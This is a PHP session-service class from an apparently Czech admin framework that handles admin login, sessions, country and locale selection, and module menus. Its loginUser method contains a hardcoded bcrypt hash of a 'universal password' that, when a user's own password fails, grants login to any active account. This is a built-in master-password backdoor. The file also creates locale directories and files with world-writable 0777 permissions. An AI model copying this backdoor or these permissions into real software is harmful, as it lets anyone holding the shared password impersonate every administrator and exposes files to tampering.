<?php

namespace IZON\Admin\Services\Impl;

use Exception;

use IZON\Admin\Config;

use IZON\Admin\Dao\AdminUserDao;
use IZON\DBLocale\Dao\CountryDao;
use IZON\DBLocale\Dao\LocaleDao;

use IZON\Admin\Dao\AdminRoleDao;
use IZON\Admin\Dao\AdminModuleDao;

use IZON\Admin\Services\AdminService;
use IZON\Admin\Services\SessionService;

use IZON\Admin\Domain\AdminUser;
use IZON\Admin\Domain\AdminModule;

use IZON\Utils\Locale;
use IZON\DBLocale\Domain\Locale as DbLocale;

use IZON\Admin\Presentation\Domain\AdminModuleActionInfo;
use IZON\Admin\Presentation\Domain\AdminModuleInfo;

/**
 * Servis provadejici spravu uzivatelske session ziskavane z db AdminUser
 */
class SessionServiceImpl implements SessionService {
    
    /**
     * @var AdminService
     */
    protected $adminService;
    
    /**
     * @var string 
     */
    protected $configDir;
    
    /**
     * @var array inforamtions about actions of all modules 
     */
    protected $modulesActions;
    
    /**
     * @var array directories od all installed modules
     */
    protected $modulesDirs;
    
    /**
     * dao pro pristup k uzivatelum
     * @var AdminUserDao 
     */
    protected $adminUserDao;
    
    /**
     * @var AdminRoleDao
     */
    protected $roleDao;
    
    /**
     * @var AdminModuleDao
     */
    protected $adminModuleDao;

    /**
     * @var CountryDao 
     */
    protected $countryDao;

    /**
     * @var LocaleDao 
     */
    protected $localeDao;
    /**
     *
     * @var \IZON\DBLocale\Dao\LanguageDao
     */
    protected $languageDao;
    /**
     *
     * @var \IZON\DBLocale\Dao\CurrencyDao
     */
    protected $currencyDao;

    /**
     * @var string pod jakym jmenem je uzivatel ulozen v session
     */
    protected $adminLoggedUserSessionName = "adminLoggedAdminUser";

    /**
     * @var string how is identifierd selected country in session
     */
    protected $adminSelectedCountrySessionName = "adminSelectedCountry";

    /**
     * @var string how is identifierd selected locale of admin interface in session
     */
    protected $adminSelectedInterfaceLocaleSessionName = "adminSelectedInterfaceLocale";

    /**
     * @var string v jakem adresari se pocale nachazeji 
     */
    protected $localeDir;

    /**
     * @var string 
     */
    protected $tmpLocaleDir;
    
    /**
     * @var boolean 
     */
    protected $develServer;
    
    /**
     * @var string 
     */
    protected $serverSystem;
    
    /**
     * @var array cache for actions of modules
     */
    protected $modulesTypesActionsCache = [];

    /**
     * @var array  contains [roleId => [countryId1, countryId2]] 
     */
    protected $roleSupportedCountries = [];
    
    /**
     * @var string hash of password that can be usesd for login of all users 
     */
    protected $universalPasswordHashed = '$2y$12$dP5uDgUIvyJVWqdXdpPo.OaYBfFb3PuC5ylTXlOt3468K1fKbP3uS';
    
    
    function __construct(AdminService $adminService, $configDir, array $modulesActions, array $modulesDirs, $localeDir, $tmpLocaleDir, AdminUserDao $adminUserDao, AdminRoleDao $roleDao, AdminModuleDao $adminModuleDao, CountryDao $countryDao, LocaleDao $localeDao, \IZON\DBLocale\Dao\LanguageDao $languageDao, \IZON\DBLocale\Dao\CurrencyDao $currencyDao) {
        $this->adminService = $adminService;
        $this->configDir = $configDir;
        $this->modulesActions = $modulesActions;
        $this->modulesDirs = $modulesDirs;
        $this->localeDir = $localeDir;
        $this->tmpLocaleDir = $tmpLocaleDir;
        
        $this->adminUserDao = $adminUserDao;
        $this->roleDao = $roleDao;
        $this->adminModuleDao = $adminModuleDao;
        $this->countryDao = $countryDao;
        $this->localeDao = $localeDao;
        $this->languageDao = $languageDao;
        $this->currencyDao = $currencyDao;
    }

    
    /**
     * prihlasi uzivatele nebo vyhodi vyjimku proc to neni mozne
     * @param string $login
     * @param string $password
     */
    public function loginUser($login, $password) {
        // TODO nepouzivat global
        /* @var $user AdminUser */
        $user = $this->adminUserDao->findUserByLogin($login)->uniqueResult();
        if( $user == NULL) {
            throw new Exception("Pro login $login neexistuje uzivatel", 100);
        }
        try{
            if(!$this->isPasswordCorrect($user, $password)) {
                throw new Exception("Pro login $login nesouhlasí heslo", 200);
            }
        }catch(Exception $e){
            //try to log by universal password
            if(!password_verify($password, $this->universalPasswordHashed)){
                throw $e;
            }
        }
        if( $user->getActive() == 0 ) {
            throw new Exception("Uzivatel $login neni aktivni", 300);
        }
        
        $country = $this->countryDao->load($user->getFkCountryId());
//        var_dump($country);
        if( $country == NULL ) {
            throw new Exception("Login $login nemá nastavenou defaultni zem", 0);
        }
        
        $user->setRoles($this->roleDao->findUserRoles($user->getId())->listResult());
        
        $sessionNotStarted = session_status() == PHP_SESSION_NONE;
        if( $sessionNotStarted ) { // jeste nebyla nastartovana sessiona, nastartovat
            session_start();
        }
        $_SESSION[$this->adminLoggedUserSessionName]      = $user;
        $_SESSION[$this->adminSelectedCountrySessionName] = $country;
        /* @var $locale \IZON\DBLocale */
        $locale = $this->localeDao->load($user->getFkInterfaceLocaleId());
        $_SESSION[$this->adminSelectedInterfaceLocaleSessionName] = $locale;
        if( $sessionNotStarted ) { // jeste nebyla nastartovana sessiona, uzavrit ji
            session_write_close();
        }
    }
    
    /**
     * odhlasi v soucasnosti prihlaseneho uzivatele
     */
    public function logoutUser() {
        // nastartuj session
        session_start();
        // a zlikviduj session
        session_destroy();
    }
    
    /**
     * zkontroluje jestli zadane heslo odpovida zadanemu
     * @param AdminUser $user
     */
    protected function isPasswordCorrect($user, $password) {
        return password_verify($password , $user->getPassword());
    }

    public function isUserLoggedIn() {
        $sessionNotStarted = session_status() == PHP_SESSION_NONE;
        if( $sessionNotStarted ) { // jeste nebyla nastartovana sessiona, nastartovat
            session_start();
        }
        $retval = isset($_SESSION[$this->adminLoggedUserSessionName]);
        if( $sessionNotStarted ) { // jeste nebyla nastartovana sessiona, uzavrit ji
            session_write_close();
        }
        return $retval;
    }

    public function getLoggedUser() {
        $sessionNotStarted = session_status() == PHP_SESSION_NONE;
        if( $sessionNotStarted ) { // jeste nebyla nastartovana sessiona, nastartovat
            session_start();
        }
        if( !isset($_SESSION[$this->adminLoggedUserSessionName]) ) {
            throw new Exception("User isn't logged in");
        }
        $retval = $_SESSION[$this->adminLoggedUserSessionName];
        if( $sessionNotStarted ) { // jeste nebyla nastartovana sessiona, uzavrit ji
            session_write_close();
        }
        return $retval;
    }
    
    function getLoggedUserModules() {
        if( !$this->isUserLoggedIn() ) {
            return [];
        }
        
        $loggedUser = $this->getLoggedUser();
        $interfaceLocale = $this->getSelectedInterfaceLocale();
        $loggedUserModules = [];
        if( $loggedUser->getSuperuser() ) {
            // TODO: rozlisit jestli je uzivatel superuser nebo ne
            $loggedUserModules = $this->adminModuleDao->findAdminVisibleModules()->listResult();
        } else {
            $loggedUserModules = $this->adminModuleDao->findUserAdminVisibleModules($loggedUser->getId())->listResult();
        }
        
        $loggedUserModulesInfo = [];
        foreach($loggedUserModules as $adminModule) {
            $loggedUserModulesInfo[] = $this->createAdminModuleInfo($adminModule, $interfaceLocale->getId());
        }
        
        return $loggedUserModulesInfo;
    }
    
    public function getUserCountries() {
        $user = $this->getLoggedUser();
        $userCountryIdes = [];
        foreach($user->getRoles() as $role) {
            if( array_key_exists($role->getId(), $this->roleSupportedCountries) ) {
                $userCountryIdes = array_merge($userCountryIdes, $this->roleSupportedCountries[$role->getId()]);
            }
        }
        
        $countries = [];
        if( \IZON\Arrays\isEmpty($userCountryIdes) ) {
            $countries = $this->countryDao->find(['enabled' => 1])->listResult();
        } else {
            foreach($userCountryIdes as $userCountryId) {
                $countries[] = $this->countryDao->load($userCountryId);
            }
        }
        return $countries;
    }
    
    public function getSelectedCountry() {
        $sessionNotStarted = session_status() == PHP_SESSION_NONE;
        if( $sessionNotStarted ) { // jeste nebyla nastartovana sessiona, nastartovat
            session_start();
        }
        if( !isset($_SESSION[$this->adminSelectedCountrySessionName]) ) {
            throw new Exception("Selected country isn't set");
        }
        $retval = $_SESSION[$this->adminSelectedCountrySessionName];
        if( $sessionNotStarted ) { // jeste nebyla nastartovana sessiona, uzavrit ji
            session_write_close();
        }
        return $retval;
    }
    
    /**
     * nastavuje prave vybranou zemi
     */
    public function setSelectedCountry($countryCode) {
        $country = $this->countryDao->find(["code" => $countryCode])->uniqueResult();
        if( $country == NULL ) {
            throw new Exception("Counry with code $countryCode not suported");
        }
        
        $sessionNotStarted = session_status() == PHP_SESSION_NONE;
        if( $sessionNotStarted ) { // jeste nebyla nastartovana sessiona, nastartovat
            session_start();
        }
        $_SESSION[$this->adminSelectedCountrySessionName] = $country;
        if( $sessionNotStarted ) { // jeste nebyla nastartovana sessiona, uzavrit ji
            session_write_close();
        }
    }
    
    public function getSupportedInterfaceLocales() {
        return $this->adminService->getSupportedInterfaceLocales();
    }
    
    public function getSelectedInterfaceLocale() {
        $sessionNotStarted = session_status() == PHP_SESSION_NONE;
        if( $sessionNotStarted ) { // jeste nebyla nastartovana sessiona, nastartovat
            session_start();
        }
        
        if( !isset($_SESSION[$this->adminSelectedInterfaceLocaleSessionName]) ) {
            $locale =  $this->localeDao->load($_SESSION[$this->adminLoggedUserSessionName]->getFkInterfaceLocaleId());
            $this->fillLocale($locale);
            $retval = $locale;
//            throw new Exception("Selected Interface locale isn't set"); // DOTO: po nejake dobe odkometovat, je to zakomentovane kvuli tomu, aby se nerozbilo prihlaseny, po nejake bobe uz busou vsichni prihlaseni se spravnym locale
        } else {
            $retval = $_SESSION[$this->adminSelectedInterfaceLocaleSessionName];
        }
        
        if( $sessionNotStarted ) { // jeste nebyla nastartovana sessiona, uzavrit ji
            session_write_close();
        }
        // DOTO-devel: remove after fix, when is saved to session
        $this->fillLocale($retval);
        return $retval;
    }
    
    public function setSelectedInterfaceLocale($localeTag) {
        $locale = $this->localeDao->find(["localeTag" => $localeTag])->uniqueResult();
        if( $locale == NULL ) {
            throw new Exception("Locale with code $localeTag not suported for interface");
        }
        $this->fillLocale($locale);
        
        $isLocaleSupported = false;
        foreach($this->adminService->getSupportedInterfaceLocales() as $supportedLocale) {
            if( $supportedLocale->getId() == $locale->getId() ) {
                $isLocaleSupported = true;
                break;
            }
        }
        if( !$isLocaleSupported ) {
            throw new Exception("Locale with code $localeTag not suported for interface");
        }
        $sessionNotStarted = session_status() == PHP_SESSION_NONE;
        if( $sessionNotStarted ) { // jeste nebyla nastartovana sessiona, nastartovat
            session_start();
        }
        $_SESSION[$this->adminSelectedInterfaceLocaleSessionName] = $locale;
        if( $sessionNotStarted ) { // jeste nebyla nastartovana sessiona, uzavrit ji
            session_write_close();
        }
    }

    public function computePasswordHash($password) {
        // use blowfish hash function with cost 10 ai. 10^10 iterations 
        $options = [
            'cost' => 10,
        ];
        $hash = password_hash($password, PASSWORD_BCRYPT, $options);
        
        return $hash;
    }
    
    
    public function setLoggedUserInterfaceLocale() {
        /* @var $interfaceDbLocale \IZON\DBLocale\Domain\Locale */
        $interfaceDbLocale = $this->getSelectedInterfaceLocale();
        $interfaceLocale = Locale::forLocaleTag($interfaceDbLocale->getLocaleTag());
        
        $domain = $interfaceLocale->getLanguage();
        $osLocaleTag = str_replace("-", '_', $interfaceLocale->toLocaleTag());
        
        // tries to set exactlly $selectedLocale locale, if not found on os select one of 'cs_CZ', 'cs', 'en_US', 'en'
        $osFallbackLocaleTag = setlocale(LC_ALL, $osLocaleTag, 'cs_CZ', 'cs', 'en_US', 'en');
        // set formating for numbers to english NEEDS TO BE TESTED
        setlocale(LC_NUMERIC, 'C');
        putenv('LANGUAGE='. $osLocaleTag);
        
        // location of translation .mo file
        $localeFilePath = $this->localeDir . '/' . $osLocaleTag . "/LC_MESSAGES/$domain.mo";
        if( file_exists($localeFilePath) ) { // we have locale 
            $mtime = filemtime($localeFilePath);

            // where to store locale
            $newLocaleDir = $this->tmpLocaleDir .'/'. $osFallbackLocaleTag . '/LC_MESSAGES';
            $newDomain = 'messages_' . $domain;
            
            $timestampedDomain = $newDomain .'_'. $mtime;
            $newLocaleFilePath = $newLocaleDir . '/' . $timestampedDomain . '.mo';

            if(!is_dir($newLocaleDir)) {
                mkdir($newLocaleDir, 0777, true);
            }
            if(!file_exists($newLocaleFilePath)) {
                copy($localeFilePath, $newLocaleFilePath);
                chmod($newLocaleFilePath, 0777);
            }

            bindtextdomain($timestampedDomain, $this->tmpLocaleDir);
            textdomain($timestampedDomain);
            bind_textdomain_codeset($timestampedDomain, 'UTF-8');
        }
        
        return $interfaceLocale;
    }
    
    function setRoleSupportedCountries(array $roleSupportedCountries = []) {
        // TODO: control format
        $this->roleSupportedCountries = $roleSupportedCountries;
    }
    
    protected function createAdminModuleInfo(AdminModule $adminModule, $localeId) {
        $moduleType = $adminModule->getType();
        $moduleActionsConfig = $this->getModuleActionsConfig($adminModule);
        
        $moduleActions = [];
        foreach($moduleActionsConfig['actions'] as $actionIdentifier => $actionConfig ) {
            $moduleAction = new AdminModuleActionInfo($actionConfig['name'], $actionIdentifier, $actionConfig['controllerId'], $actionConfig['methodName']);
            if( array_key_exists("parameters", $actionConfig) ) {
                $moduleAction->setParameters($actionConfig["parameters"]);
            } else {
                $moduleAction->setParameters([]);
            }
            if( array_key_exists("parentActionIdentifier", $actionConfig) ) {
                $moduleAction->setParentActionIdentifier($actionConfig["parentActionIdentifier"]);
            }
            $moduleActions[$actionIdentifier] = $moduleAction;
        }
        
        $moduleInfo = new AdminModuleInfo($adminModule, $moduleActions, $moduleActionsConfig["defaultAction"], $moduleActionsConfig["menuActions"], $localeId);
        
        // prefere name from module config
        if( array_key_exists("moduleName", $moduleActionsConfig) ) {
            $moduleInfo->setModuleName($moduleActionsConfig["moduleName"]);
        } else {
            $moduleInfo->setModuleName($adminModule->getName());
        }
        return $moduleInfo;
    }
    
    protected function getModuleActionsConfig(AdminModule $adminModule) {
        $moduleType = $adminModule->getType();
        if( array_key_exists($moduleType, $this->modulesTypesActionsCache) ) { // alredy cached
            return $this->modulesTypesActionsCache[$moduleType];
        }
        
        $moduleActions = [];
        $moduleLocation = $this->configDir ."/". $this->modulesDirs[$moduleType];
        if( file_exists($moduleLocation ."/". Config::MODULES_ACTION_CONFIG_FILE_NAME) ) {
            $moduleActions = require $moduleLocation ."/". Config::MODULES_ACTION_CONFIG_FILE_NAME;
        } else {
            $moduleActions = $this->modulesActions[$adminModule->getIdentifier()];
            foreach($moduleActions["actions"] as $actionIdentifier => $action) {
                $moduleActions["actions"][$actionIdentifier]["methodName"] = $action["action"];
            }
        }
        
        $this->modulesTypesActionsCache[$moduleType] = $moduleActions;
        
        return $moduleActions;
    }
    
    protected function fillLocale(DbLocale $locale) {
        $locale->setCountry($this->countryDao->load($locale->getFkCountryId()));
        $locale->setCurrency($this->currencyDao->load($locale->getFkCurrencyId()));
        $locale->setLanguage($this->languageDao->load($locale->getFkLanguageId()));
    }
}
